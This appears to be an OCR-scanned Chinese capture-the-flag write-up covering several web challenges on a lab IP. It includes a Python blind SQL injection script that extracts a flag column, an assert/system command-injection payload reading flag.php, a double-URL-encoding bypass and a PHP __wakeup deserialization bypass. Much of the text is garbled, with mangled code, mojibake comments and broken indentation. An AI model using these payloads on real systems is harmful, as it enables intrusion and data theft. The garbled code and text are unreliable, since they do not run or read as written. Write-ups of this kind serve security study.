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import requests
s=requests.session()
url="http://111.198.29.45:38153/index.php"

for i in range(1,490):
print("IEAEZRK",1)
for j in range(37,127):

#code="-1"' or ascii(substr((select table name from information_schema.tables where table schema=database
(O)limit 1,1),"+str(i)+",1))="+str(j)+"#"

#tcode="-1"' or ascii(substr((select column_name from information_schema.columns where table name='secret
table'limit 1,1),"+str(i)+",1))="+str(j)+"#"
code="-1"' or ascii(substr((select fl4g from secret_table limit ©,1),"+str(i)+",1))="+str(j)+"#"
payload={"search":code}
c=s.post(url,data=payload)
if 'Hello' in c.text:
key=key+chr(j)
print(key)
break

3.mfw
SR TE R B .

FF githack k15 M55 YRS, F45&index.php X HIRIAIER] assert("file exists('$file')") or die("That file doesn't
exist!"); #Ji& ') FEIXT file exists BEAE G LI R SPIT
payload: ?page=") or system("cat templates/flag.php");%23 1§%l|flag

&« Cc @ @ 111.198.29.45:52686/index.php?page=") or system('cat /var/www/html/templates/flag.php");%23
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<! --?php $FLAG="cyberpeace{b27c236ad9b521d638a76356190e5547}"; 2-->
<!DOCTYPE html>
<html> |event

<body>
<nav class="navbar navbar-inverse navbar-fixed-top">(.]</nav>
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<div class="container"” style="margin-top: 5@px">=)</div>
</body>
</html>
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>_="function $(){ e= getEle ById("c").value; length==16 *bedf23 EEE e98aab c7bed M t f1
e} n a _hel n r s{ e 2] i ity’ s=[t,n,r,i];for( 0=B;0<13;++0){

[el); .splice(@,1)}}} "<input id="c">< 0nc1ick=$(3r0k<f >\");delete _. var

docu . ) match(/ "1; /) 1=null =[" write( s[o%4] button if(e. ment”; (Y
") (_-split(5[¥]))_=join(pop());eval( )</ >
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| | 0k ‘ 4 <html>
4 <head>
4 <script>»
_="function $(){e=getEleById("c").value;length==16"beft23233ace98aa%c7bed){tfls_aielna_h@lnrg{e Biit\"
_ns=[t,n,r,i];for(o=0;0<13;++0){ [81); .splice(@,1)}}} \'<input id="c"><M onclick=%()>0k</M>

\");delete _var ","docu.)match(/"];/)!=null=[" write( s[o%4]Mbuttonif(e.ment ;for(Y in $="MA “Jwith
(_-sp1it($[¥]))_=join(pop());eval(_)
</script>
</head>
4 <body>

<input id=vc />
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function $({var
e=document.getElementByld("c").value;if(e.length==16)if(e.ma
tch(/"be0f23/)! =null)if(e.match(/233ac/)!=null)if(e.match(/
e98aa$/)!=null)if(e.match(/c7bed/)! =null){var
t=["fl","s_a""i","e}"Lvar n=["a","_hol","n"];var r=["g{","e","_0"];var
i=["it"™"_","n"]var s=[t,n,ri];for(var 0=0;0<13;++0)
{document.write(s[0%41[0]);s[0%4].splice(0,1)}}}
document.write('<input id="c"> <button onclick=$()>Ok</
button>");delete _
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.length==16
.match(/~bedf23/)!=null
.match(/233ac/) !=null

.match(/e98aa%$/) !=null
.match(/c7be9/) !=null
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5.PHP2

Checking : http://111.1

cking : http://111.19

AWM —T/ES, 83lindex.phps
$ GETI[id] = urldecode($ GET[id]); if($ GET[id] == "admin™)

FIRurl Z Ik gmhg it 17 5853 15 Blflag
payload: http://111.198.29.45:49512/index.php?id=a%25%36%34min
6.unserialize3

class xctf{

public $flag = "1117;

public function  wakeup(){
exit('bad requests’);

}

?code=

BEARJ5 % wake_up KTERRFFINKIRERA, HESEEBRHER, UFFILFERFRRANSZBENER T EENM R
MR aBhd_ wakeupMIHAT, BRI BSEANBEANBUER T ERITSRE .

R — N IEHE FIXCERIRT R 0:4: "xctf":1:{s:4:"flag";s:3:"111"; } , FHEHBEHERANE: 0:4: "xctf":2:
{s:4:"flag";s:3:"111";} ,JJ5 Lhgetls & A K Elflag.
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